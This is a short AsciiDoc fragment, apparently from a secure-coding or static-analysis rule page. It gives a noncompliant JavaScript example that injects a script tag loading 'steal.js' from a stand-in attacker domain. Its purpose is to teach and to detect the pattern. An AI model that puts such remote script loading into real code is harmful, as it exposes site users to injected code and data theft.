16 lines
329 B
Plaintext
16 lines
329 B
Plaintext
include::../description.adoc[]
|
|
|
|
== Noncompliant Code Example
|
|
|
|
----
|
|
function include(url) {
|
|
var s = document.createElement("script");
|
|
s.setAttribute("type", "text/javascript");
|
|
s.setAttribute("src", url);
|
|
document.body.appendChild(s);
|
|
}
|
|
include("http://hackers.com/steal.js") // Noncompliant
|
|
----
|
|
|
|
include::../see.adoc[]
|